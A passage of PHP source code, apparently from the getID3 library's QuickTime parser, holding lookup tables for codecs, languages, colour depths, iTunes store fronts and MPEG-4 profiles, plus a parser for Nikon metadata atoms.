(0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character, and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least significant bits and the most significant bit set to zero. */ $iso_language_id = ''; $iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60); $iso_language_id .= chr((($languageid & 0x03E0) >> 5) + 0x60); $iso_language_id .= chr((($languageid & 0x001F) >> 0) + 0x60); $QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id); } return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid'); } /** * @param string $codecid * * @return string */ public function QuicktimeVideoCodecLookup($codecid) { static $QuicktimeVideoCodecLookup = array(); if (empty($QuicktimeVideoCodecLookup)) { $QuicktimeVideoCodecLookup['.SGI'] = 'SGI'; $QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1'; $QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2'; $QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4'; $QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB'; $QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC'; $QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG'; $QuicktimeVideoCodecLookup['b16g'] = '16Gray'; $QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray'; $QuicktimeVideoCodecLookup['b48r'] = '48RGB'; $QuicktimeVideoCodecLookup['b64a'] = '64ARGB'; $QuicktimeVideoCodecLookup['base'] = 'Base'; $QuicktimeVideoCodecLookup['clou'] = 'Cloud'; $QuicktimeVideoCodecLookup['cmyk'] = 'CMYK'; $QuicktimeVideoCodecLookup['cvid'] = 'Cinepak'; $QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG'; $QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC'; $QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL'; $QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC'; $QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL'; $QuicktimeVideoCodecLookup['fire'] = 'Fire'; $QuicktimeVideoCodecLookup['flic'] = 'FLC'; $QuicktimeVideoCodecLookup['gif '] = 'GIF'; $QuicktimeVideoCodecLookup['h261'] = 'H261'; $QuicktimeVideoCodecLookup['h263'] = 'H263'; $QuicktimeVideoCodecLookup['IV41'] = 'Indeo4'; $QuicktimeVideoCodecLookup['jpeg'] = 'JPEG'; $QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD'; $QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A'; $QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B'; $QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1'; $QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420'; $QuicktimeVideoCodecLookup['path'] = 'Vector'; $QuicktimeVideoCodecLookup['png '] = 'PNG'; $QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint'; $QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX'; $QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw'; $QuicktimeVideoCodecLookup['raw '] = 'RAW'; $QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple'; $QuicktimeVideoCodecLookup['rpza'] = 'Video'; $QuicktimeVideoCodecLookup['smc '] = 'Graphics'; $QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1'; $QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3'; $QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9'; $QuicktimeVideoCodecLookup['tga '] = 'Targa'; $QuicktimeVideoCodecLookup['tiff'] = 'TIFF'; $QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW'; $QuicktimeVideoCodecLookup['WRLE'] = 'BMP'; $QuicktimeVideoCodecLookup['y420'] = 'YUV420'; $QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo'; $QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned'; $QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned'; } return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : ''); } /** * @param string $codecid * * @return mixed|string */ public function QuicktimeAudioCodecLookup($codecid) { static $QuicktimeAudioCodecLookup = array(); if (empty($QuicktimeAudioCodecLookup)) { $QuicktimeAudioCodecLookup['.mp3'] = 'Fraunhofer MPEG Layer-III alias'; $QuicktimeAudioCodecLookup['aac '] = 'ISO/IEC 14496-3 AAC'; $QuicktimeAudioCodecLookup['agsm'] = 'Apple GSM 10:1'; $QuicktimeAudioCodecLookup['alac'] = 'Apple Lossless Audio Codec'; $QuicktimeAudioCodecLookup['alaw'] = 'A-law 2:1'; $QuicktimeAudioCodecLookup['conv'] = 'Sample Format'; $QuicktimeAudioCodecLookup['dvca'] = 'DV'; $QuicktimeAudioCodecLookup['dvi '] = 'DV 4:1'; $QuicktimeAudioCodecLookup['eqal'] = 'Frequency Equalizer'; $QuicktimeAudioCodecLookup['fl32'] = '32-bit Floating Point'; $QuicktimeAudioCodecLookup['fl64'] = '64-bit Floating Point'; $QuicktimeAudioCodecLookup['ima4'] = 'Interactive Multimedia Association 4:1'; $QuicktimeAudioCodecLookup['in24'] = '24-bit Integer'; $QuicktimeAudioCodecLookup['in32'] = '32-bit Integer'; $QuicktimeAudioCodecLookup['lpc '] = 'LPC 23:1'; $QuicktimeAudioCodecLookup['MAC3'] = 'Macintosh Audio Compression/Expansion (MACE) 3:1'; $QuicktimeAudioCodecLookup['MAC6'] = 'Macintosh Audio Compression/Expansion (MACE) 6:1'; $QuicktimeAudioCodecLookup['mixb'] = '8-bit Mixer'; $QuicktimeAudioCodecLookup['mixw'] = '16-bit Mixer'; $QuicktimeAudioCodecLookup['mp4a'] = 'ISO/IEC 14496-3 AAC'; $QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM'; $QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA'; $QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III'; $QuicktimeAudioCodecLookup['NONE'] = 'No Encoding'; $QuicktimeAudioCodecLookup['Qclp'] = 'Qualcomm PureVoice'; $QuicktimeAudioCodecLookup['QDM2'] = 'QDesign Music 2'; $QuicktimeAudioCodecLookup['QDMC'] = 'QDesign Music 1'; $QuicktimeAudioCodecLookup['ratb'] = '8-bit Rate'; $QuicktimeAudioCodecLookup['ratw'] = '16-bit Rate'; $QuicktimeAudioCodecLookup['raw '] = 'raw PCM'; $QuicktimeAudioCodecLookup['sour'] = 'Sound Source'; $QuicktimeAudioCodecLookup['sowt'] = 'signed/two\'s complement (Little Endian)'; $QuicktimeAudioCodecLookup['str1'] = 'Iomega MPEG layer II'; $QuicktimeAudioCodecLookup['str2'] = 'Iomega MPEG *layer II'; $QuicktimeAudioCodecLookup['str3'] = 'Iomega MPEG **layer II'; $QuicktimeAudioCodecLookup['str4'] = 'Iomega MPEG ***layer II'; $QuicktimeAudioCodecLookup['twos'] = 'signed/two\'s complement (Big Endian)'; $QuicktimeAudioCodecLookup['ulaw'] = 'mu-law 2:1'; } return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : ''); } /** * @param string $compressionid * * @return string */ public function QuicktimeDCOMLookup($compressionid) { static $QuicktimeDCOMLookup = array(); if (empty($QuicktimeDCOMLookup)) { $QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate'; $QuicktimeDCOMLookup['adec'] = 'Apple Compression'; } return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : ''); } /** * @param int $colordepthid * * @return string */ public function QuicktimeColorNameLookup($colordepthid) { static $QuicktimeColorNameLookup = array(); if (empty($QuicktimeColorNameLookup)) { $QuicktimeColorNameLookup[1] = '2-color (monochrome)'; $QuicktimeColorNameLookup[2] = '4-color'; $QuicktimeColorNameLookup[4] = '16-color'; $QuicktimeColorNameLookup[8] = '256-color'; $QuicktimeColorNameLookup[16] = 'thousands (16-bit color)'; $QuicktimeColorNameLookup[24] = 'millions (24-bit color)'; $QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)'; $QuicktimeColorNameLookup[33] = 'black & white'; $QuicktimeColorNameLookup[34] = '4-gray'; $QuicktimeColorNameLookup[36] = '16-gray'; $QuicktimeColorNameLookup[40] = '256-gray'; } return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid'); } /** * @param int $stik * * @return string */ public function QuicktimeSTIKLookup($stik) { static $QuicktimeSTIKLookup = array(); if (empty($QuicktimeSTIKLookup)) { $QuicktimeSTIKLookup[0] = 'Movie'; $QuicktimeSTIKLookup[1] = 'Normal'; $QuicktimeSTIKLookup[2] = 'Audiobook'; $QuicktimeSTIKLookup[5] = 'Whacked Bookmark'; $QuicktimeSTIKLookup[6] = 'Music Video'; $QuicktimeSTIKLookup[9] = 'Short Film'; $QuicktimeSTIKLookup[10] = 'TV Show'; $QuicktimeSTIKLookup[11] = 'Booklet'; $QuicktimeSTIKLookup[14] = 'Ringtone'; $QuicktimeSTIKLookup[21] = 'Podcast'; } return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid'); } /** * @param int $audio_profile_id * * @return string */ public function QuicktimeIODSaudioProfileName($audio_profile_id) { static $QuicktimeIODSaudioProfileNameLookup = array(); if (empty($QuicktimeIODSaudioProfileNameLookup)) { $QuicktimeIODSaudioProfileNameLookup = array( 0x00 => 'ISO Reserved (0x00)', 0x01 => 'Main Audio Profile @ Level 1', 0x02 => 'Main Audio Profile @ Level 2', 0x03 => 'Main Audio Profile @ Level 3', 0x04 => 'Main Audio Profile @ Level 4', 0x05 => 'Scalable Audio Profile @ Level 1', 0x06 => 'Scalable Audio Profile @ Level 2', 0x07 => 'Scalable Audio Profile @ Level 3', 0x08 => 'Scalable Audio Profile @ Level 4', 0x09 => 'Speech Audio Profile @ Level 1', 0x0A => 'Speech Audio Profile @ Level 2', 0x0B => 'Synthetic Audio Profile @ Level 1', 0x0C => 'Synthetic Audio Profile @ Level 2', 0x0D => 'Synthetic Audio Profile @ Level 3', 0x0E => 'High Quality Audio Profile @ Level 1', 0x0F => 'High Quality Audio Profile @ Level 2', 0x10 => 'High Quality Audio Profile @ Level 3', 0x11 => 'High Quality Audio Profile @ Level 4', 0x12 => 'High Quality Audio Profile @ Level 5', 0x13 => 'High Quality Audio Profile @ Level 6', 0x14 => 'High Quality Audio Profile @ Level 7', 0x15 => 'High Quality Audio Profile @ Level 8', 0x16 => 'Low Delay Audio Profile @ Level 1', 0x17 => 'Low Delay Audio Profile @ Level 2', 0x18 => 'Low Delay Audio Profile @ Level 3', 0x19 => 'Low Delay Audio Profile @ Level 4', 0x1A => 'Low Delay Audio Profile @ Level 5', 0x1B => 'Low Delay Audio Profile @ Level 6', 0x1C => 'Low Delay Audio Profile @ Level 7', 0x1D => 'Low Delay Audio Profile @ Level 8', 0x1E => 'Natural Audio Profile @ Level 1', 0x1F => 'Natural Audio Profile @ Level 2', 0x20 => 'Natural Audio Profile @ Level 3', 0x21 => 'Natural Audio Profile @ Level 4', 0x22 => 'Mobile Audio Internetworking Profile @ Level 1', 0x23 => 'Mobile Audio Internetworking Profile @ Level 2', 0x24 => 'Mobile Audio Internetworking Profile @ Level 3', 0x25 => 'Mobile Audio Internetworking Profile @ Level 4', 0x26 => 'Mobile Audio Internetworking Profile @ Level 5', 0x27 => 'Mobile Audio Internetworking Profile @ Level 6', 0x28 => 'AAC Profile @ Level 1', 0x29 => 'AAC Profile @ Level 2', 0x2A => 'AAC Profile @ Level 4', 0x2B => 'AAC Profile @ Level 5', 0x2C => 'High Efficiency AAC Profile @ Level 2', 0x2D => 'High Efficiency AAC Profile @ Level 3', 0x2E => 'High Efficiency AAC Profile @ Level 4', 0x2F => 'High Efficiency AAC Profile @ Level 5', 0xFE => 'Not part of MPEG-4 audio profiles', 0xFF => 'No audio capability required', ); } return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private'); } /** * @param int $video_profile_id * * @return string */ public function QuicktimeIODSvideoProfileName($video_profile_id) { static $QuicktimeIODSvideoProfileNameLookup = array(); if (empty($QuicktimeIODSvideoProfileNameLookup)) { $QuicktimeIODSvideoProfileNameLookup = array( 0x00 => 'Reserved (0x00) Profile', 0x01 => 'Simple Profile @ Level 1', 0x02 => 'Simple Profile @ Level 2', 0x03 => 'Simple Profile @ Level 3', 0x08 => 'Simple Profile @ Level 0', 0x10 => 'Simple Scalable Profile @ Level 0', 0x11 => 'Simple Scalable Profile @ Level 1', 0x12 => 'Simple Scalable Profile @ Level 2', 0x15 => 'AVC/H264 Profile', 0x21 => 'Core Profile @ Level 1', 0x22 => 'Core Profile @ Level 2', 0x32 => 'Main Profile @ Level 2', 0x33 => 'Main Profile @ Level 3', 0x34 => 'Main Profile @ Level 4', 0x42 => 'N-bit Profile @ Level 2', 0x51 => 'Scalable Texture Profile @ Level 1', 0x61 => 'Simple Face Animation Profile @ Level 1', 0x62 => 'Simple Face Animation Profile @ Level 2', 0x63 => 'Simple FBA Profile @ Level 1', 0x64 => 'Simple FBA Profile @ Level 2', 0x71 => 'Basic Animated Texture Profile @ Level 1', 0x72 => 'Basic Animated Texture Profile @ Level 2', 0x81 => 'Hybrid Profile @ Level 1', 0x82 => 'Hybrid Profile @ Level 2', 0x91 => 'Advanced Real Time Simple Profile @ Level 1', 0x92 => 'Advanced Real Time Simple Profile @ Level 2', 0x93 => 'Advanced Real Time Simple Profile @ Level 3', 0x94 => 'Advanced Real Time Simple Profile @ Level 4', 0xA1 => 'Core Scalable Profile @ Level1', 0xA2 => 'Core Scalable Profile @ Level2', 0xA3 => 'Core Scalable Profile @ Level3', 0xB1 => 'Advanced Coding Efficiency Profile @ Level 1', 0xB2 => 'Advanced Coding Efficiency Profile @ Level 2', 0xB3 => 'Advanced Coding Efficiency Profile @ Level 3', 0xB4 => 'Advanced Coding Efficiency Profile @ Level 4', 0xC1 => 'Advanced Core Profile @ Level 1', 0xC2 => 'Advanced Core Profile @ Level 2', 0xD1 => 'Advanced Scalable Texture @ Level1', 0xD2 => 'Advanced Scalable Texture @ Level2', 0xE1 => 'Simple Studio Profile @ Level 1', 0xE2 => 'Simple Studio Profile @ Level 2', 0xE3 => 'Simple Studio Profile @ Level 3', 0xE4 => 'Simple Studio Profile @ Level 4', 0xE5 => 'Core Studio Profile @ Level 1', 0xE6 => 'Core Studio Profile @ Level 2', 0xE7 => 'Core Studio Profile @ Level 3', 0xE8 => 'Core Studio Profile @ Level 4', 0xF0 => 'Advanced Simple Profile @ Level 0', 0xF1 => 'Advanced Simple Profile @ Level 1', 0xF2 => 'Advanced Simple Profile @ Level 2', 0xF3 => 'Advanced Simple Profile @ Level 3', 0xF4 => 'Advanced Simple Profile @ Level 4', 0xF5 => 'Advanced Simple Profile @ Level 5', 0xF7 => 'Advanced Simple Profile @ Level 3b', 0xF8 => 'Fine Granularity Scalable Profile @ Level 0', 0xF9 => 'Fine Granularity Scalable Profile @ Level 1', 0xFA => 'Fine Granularity Scalable Profile @ Level 2', 0xFB => 'Fine Granularity Scalable Profile @ Level 3', 0xFC => 'Fine Granularity Scalable Profile @ Level 4', 0xFD => 'Fine Granularity Scalable Profile @ Level 5', 0xFE => 'Not part of MPEG-4 Visual profiles', 0xFF => 'No visual capability required', ); } return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile'); } /** * @param int $rtng * * @return string */ public function QuicktimeContentRatingLookup($rtng) { static $QuicktimeContentRatingLookup = array(); if (empty($QuicktimeContentRatingLookup)) { $QuicktimeContentRatingLookup[0] = 'None'; $QuicktimeContentRatingLookup[2] = 'Clean'; $QuicktimeContentRatingLookup[4] = 'Explicit'; } return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid'); } /** * @param int $akid * * @return string */ public function QuicktimeStoreAccountTypeLookup($akid) { static $QuicktimeStoreAccountTypeLookup = array(); if (empty($QuicktimeStoreAccountTypeLookup)) { $QuicktimeStoreAccountTypeLookup[0] = 'iTunes'; $QuicktimeStoreAccountTypeLookup[1] = 'AOL'; } return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid'); } /** * @param int $sfid * * @return string */ public function QuicktimeStoreFrontCodeLookup($sfid) { static $QuicktimeStoreFrontCodeLookup = array(); if (empty($QuicktimeStoreFrontCodeLookup)) { $QuicktimeStoreFrontCodeLookup[143460] = 'Australia'; $QuicktimeStoreFrontCodeLookup[143445] = 'Austria'; $QuicktimeStoreFrontCodeLookup[143446] = 'Belgium'; $QuicktimeStoreFrontCodeLookup[143455] = 'Canada'; $QuicktimeStoreFrontCodeLookup[143458] = 'Denmark'; $QuicktimeStoreFrontCodeLookup[143447] = 'Finland'; $QuicktimeStoreFrontCodeLookup[143442] = 'France'; $QuicktimeStoreFrontCodeLookup[143443] = 'Germany'; $QuicktimeStoreFrontCodeLookup[143448] = 'Greece'; $QuicktimeStoreFrontCodeLookup[143449] = 'Ireland'; $QuicktimeStoreFrontCodeLookup[143450] = 'Italy'; $QuicktimeStoreFrontCodeLookup[143462] = 'Japan'; $QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg'; $QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands'; $QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand'; $QuicktimeStoreFrontCodeLookup[143457] = 'Norway'; $QuicktimeStoreFrontCodeLookup[143453] = 'Portugal'; $QuicktimeStoreFrontCodeLookup[143454] = 'Spain'; $QuicktimeStoreFrontCodeLookup[143456] = 'Sweden'; $QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland'; $QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom'; $QuicktimeStoreFrontCodeLookup[143441] = 'United States'; } return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid'); } /** * @param string $atom_data * * @return array */ public function QuicktimeParseNikonNCTG($atom_data) { // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG // Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100 // Data is stored as records of: // * 4 bytes record type // * 2 bytes size of data field type: // 0x0001 = flag (size field *= 1-byte) // 0x0002 = char (size field *= 1-byte) // 0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB // 0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD // 0x0005 = float (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together // 0x0007 = bytes (size field *= 1-byte), values are stored as ?????? // 0x0008 = ????? (size field *= 2-byte), values are stored as ?????? // * 2 bytes data size field // * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15") // all integers are stored BigEndian $NCTGtagName = array( 0x00000001 => 'Make', 0x00000002 => 'Model', 0x00000003 => 'Software', 0x00000011 => 'CreateDate', 0x00000012 => 'DateTimeOriginal', 0x00000013 => 'FrameCount', 0x00000016 => 'FrameRate', 0x00000022 => 'FrameWidth', 0x00000023 => 'FrameHeight', 0x00000032 => 'AudioChannels', 0x00000033 => 'AudioBitsPerSample', 0x00000034 => 'AudioSampleRate', 0x02000001 => 'MakerNoteVersion', 0x02000005 => 'WhiteBalance', 0x0200000b => 'WhiteBalanceFineTune', 0x0200001e => 'ColorSpace', 0x02000023 => 'PictureControlData', 0x02000024 => 'WorldTime', 0x02000032 => 'UnknownInfo', 0x02000083 => 'LensType', 0x02000084 => 'Lens', ); $offset = 0; $data = null; $datalength = strlen($atom_data); $parsed = array(); while ($offset < $datalength) { $record_type = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4)); $offset += 4; $data_size_type = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2)); $offset += 2; $data_size = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2)); $offset += 2; switch ($data_size_type) { case 0x0001: // 0x0001 = flag (size field *= 1-byte) $data = getid3_lib::BigEndian2Int(substr($atom_data, $offset, $data_size * 1)); $offset += ($data_size * 1); break; case 0x0002: // 0x0002 = char (size field *= 1-byte) $data = substr($atom_data, $offset, $data_size * 1); $offset += ($data_size * 1); $data = rtrim($data, "\x00"); break; case 0x0003: // 0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB $data = ''; for ($i = $data_size - 1; $i >= 0; $i--) { $data .= substr($atom_data, $offset + ($i * 2), 2); } $data = getid3_lib::BigEndian2Int($data); $offset += ($data_size * 2); break; case 0x0004: // 0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD $data = ''; for ($i = $data_size - 1; $i >= 0; $i--) { $data .= substr($atom_data, $offset + ($i * 4), 4); } $data = getid3_lib::BigEndian2Int($data); $offset += ($data_size * 4); break; case 0x0005: // 0x0005 = float (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together $data = array(); for ($i = 0; $i < $data_size; $i++) { $numerator = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 0, 4)); $denomninator = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 4, 4)); if ($denomninator == 0) { $data[$i] = false; } else { $data[$i] = (double) $numerator / $denomninator; } } $offset += (8 * $data_size); if (count($data) == 1) { $data = $data[0]; } break; case 0x0007: // 0x0007 = bytes (size field *= 1-byte), values are stored as ?????? $data = substr($atom_data, $offset, $data_size * 1); $offset += ($data_size * 1); break; case 0x0008: // 0x0008 = ????? (size field *= 2-byte), values are stored as ?????? $data = substr($atom_data, $offset, $data_size * 2); $offset += ($data_size * 2); break; default: echo 'QuicktimeParseNikonNCTG()::unknown $data_size_type: '.$data_size_type.'
'; break 2; } switch ($record_type) { case 0x00000011: // CreateDate case 0x00000012: // DateTimeOriginal $data = strtotime($data); break; case 0x0200001e: // ColorSpace switch ($data) { case 1: $data = 'sRGB'; break; case 2: $data = 'Adobe RGB'; break; } break; case 0x02000023: // PictureControlData $PictureControlAdjust = array(0=>'default', 1=>'quick', 2=>'full'); $FilterEffect = array(0x80=>'off', 0x81=>'yellow', 0x82=>'orange', 0x83=>'red', 0x84=>'green', 0xff=>'n/a'); $ToningEffect = array(0x80=>'b&w', 0x81=>'sepia', 0x82=>'cyanotype', 0x83=>'red', 0x84=>'yellow', 0x85=>'green', 0x86=>'blue-green', 0x87=>'blue', 0x88=>'purple-blue', 0x89=>'red-purple', 0xff=>'n/a'); $data = array( 'PictureControlVersion' => substr($data, 0, 4), 'PictureControlName' => rtrim(substr($data, 4, 20), "\x00"), 'PictureControlBase' => rtrim(substr($data, 24, 20), "\x00"), //'?' => substr($data, 44, 4), 'PictureControlAdjust' => $PictureControlAdjust[ord(substr($data, 48, 1))], 'PictureControlQuickAdjust' => ord(substr($data, 49, 1)), 'Sharpness' => ord(substr($data, 50, 1)), 'Contrast' => ord(substr($data, 51, 1)), 'Brightness' => ord(substr($data, 52, 1)), 'Saturation' => ord(substr($data, 53, 1)), 'HueAdjustment' => ord(substr($data, 54, 1)), 'FilterEffect' => $FilterEffect[ord(substr($data, 55, 1))], 'ToningEffect' => $ToningEffect[ord(substr($data, 56, 1))], 'ToningSaturation' => ord(substr($data, 57, 1)), ); break; case 0x02000024: // WorldTime // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#WorldTime // timezone is stored as offset from GMT in minutes $timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2)); if ($timezone & 0x8000) { $timezone = 0 - (0x10000 - $timezone); } $timezone /= 60; $dst = (bool) getid3_lib::BigEndian2Int(substr($data, 2, 1)); switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) { case 2: $datedisplayformat = 'D/M/Y'; break; case 1: $datedisplayformat = 'M/D/Y'; break; case 0: default: $datedisplayformat = 'Y/M/D'; break; } $data = array('timezone'=>floatval($timezone), 'dst'=>$dst, 'display'=>$datedisplayformat); break; case 0x02000083: // LensType $data = array( //'_' => $data, 'mf' => (bool) ($data & 0x01), 'd' => (bool) ($data & 0x02), 'g' => (bool) ($data & 0x04), 'vr' => (bool) ($data & 0x08), ); break; } $tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x'.str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT)); $parsed[$tag_name] = $data; } return $parsed; } /** * @param string $keyname * @param string|array $data * @param string $boxname * * @return bool */ public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') { static $handyatomtranslatorarray = array(); if (empty($handyatomtranslatorarray)) { // http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt // http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt // http://atomicparsley.sourceforge.net/mpeg-4files.html // https://code.google.com/p/mp4v2/wiki/iTunesMetadata $handyatomtranslatorarray["\xA9".'alb'] = 'album'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'ART'] = 'artist'; $handyatomtranslatorarray["\xA9".'art'] = 'artist'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'aut'] = 'author'; $handyatomtranslatorarray["\xA9".'cmt'] = 'comment'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'com'] = 'comment'; $handyatomtranslatorarray["\xA9".'cpy'] = 'copyright'; $handyatomtranslatorarray["\xA9".'day'] = 'creation_date'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'dir'] = 'director'; $handyatomtranslatorarray["\xA9".'ed1'] = 'edit1'; $handyatomtranslatorarray["\xA9".'ed2'] = 'edit2'; $handyatomtranslatorarray["\xA9".'ed3'] = 'edit3'; $handyatomtranslatorarray["\xA9".'ed4'] = 'edit4'; $handyatomtranslatorarray["\xA9".'ed5'] = 'edit5'; $handyatomtranslatorarray["\xA9".'ed6'] = 'edit6'; $handyatomtranslatorarray["\xA9".'ed7'] = 'edit7'; $handyatomtranslatorarray["\xA9".'ed8'] = 'edit8'; $handyatomtranslatorarray["\xA9".'ed9'] = 'edit9'; $handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by'; $handyatomtranslatorarray["\xA9".'fmt'] = 'format'; $handyatomtranslatorarray["\xA9".'gen'] = 'genre'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'grp'] = 'grouping'; // iTunes 4.2 $handyatomtranslatorarray["\xA9".'hst'] = 'host_computer'; $handyatomtranslatorarray["\xA9".'inf'] = 'information'; $handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics'; // iTunes 5.0 $handyatomtranslatorarray["\xA9".'mak'] = 'make'; $handyatomtranslatorarray["\xA9".'mod'] = 'model'; $handyatomtranslatorarray["\xA9".'nam'] = 'title'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'ope'] = 'composer'; $handyatomtranslatorarray["\xA9".'prd'] = 'producer'; $handyatomtranslatorarray["\xA9".'PRD'] = 'product'; $handyatomtranslatorarray["\xA9".'prf'] = 'performers'; $handyatomtranslatorarray["\xA9".'req'] = 'system_requirements'; $handyatomtranslatorarray["\xA9".'src'] = 'source_credit'; $handyatomtranslatorarray["\xA9".'swr'] = 'software'; $handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool'; // iTunes 4.0 $handyatomtranslatorarray["\xA9".'trk'] = 'track_number'; $handyatomtranslatorarray["\xA9".'url'] = 'url'; $handyatomtranslatorarray["\xA9".'wrn'] = 'warning'; $handyatomtranslatorarray["\xA9".'wrt'] = 'composer'; $handyatomtranslatorarray['aART'] = 'album_artist'; $handyatomtranslatorarray['apID'] = 'purchase_account'; $handyatomtranslatorarray['catg'] = 'category'; // iTunes 4.9 $handyatomtranslatorarray['covr'] = 'picture'; // iTunes 4.0 $handyatomtranslatorarray['cpil'] = 'compilation'; // iTunes 4.0 $handyatomtranslatorarray['cprt'] = 'copyright'; // iTunes 4.0? $handyatomtranslatorarray['desc'] = 'description'; // iTunes 5.0 $handyatomtranslatorarray['disk'] = 'disc_number'; // iTunes 4.0 $handyatomtranslatorarray['egid'] = 'episode_guid'; // iTunes 4.9 $handyatomtranslatorarray['gnre'] = 'genre'; // iTunes 4.0 $handyatomtranslatorarray['hdvd'] = 'hd_video'; // iTunes 4.0 $handyatomtranslatorarray['ldes'] = 'description_long'; // $handyatomtranslatorarray['keyw'] = 'keyword'; // iTunes 4.9 $handyatomtranslatorarray['pcst'] = 'podcast'; // iTunes 4.9 $handyatomtranslatorarray['pgap'] = 'gapless_playback'; // iTunes 7.0 $handyatomtranslatorarray['purd'] = 'purchase_date'; // iTunes 6.0.2 $handyatomtranslatorarray['purl'] = 'podcast_url'; // iTunes 4.9 $handyatomtranslatorarray['rtng'] = 'rating'; // iTunes 4.0 $handyatomtranslatorarray['soaa'] = 'sort_album_artist'; // $handyatomtranslatorarray['soal'] = 'sort_album'; // $handyatomtranslatorarray['soar'] = 'sort_artist'; // $handyatomtranslatorarray['soco'] = 'sort_composer'; // $handyatomtranslatorarray['sonm'] = 'sort_title'; // $handyatomtranslatorarray['sosn'] = 'sort_show'; // $handyatomtranslatorarray['stik'] = 'stik'; // iTunes 4.9 $handyatomtranslatorarray['tmpo'] = 'bpm'; // iTunes 4.0 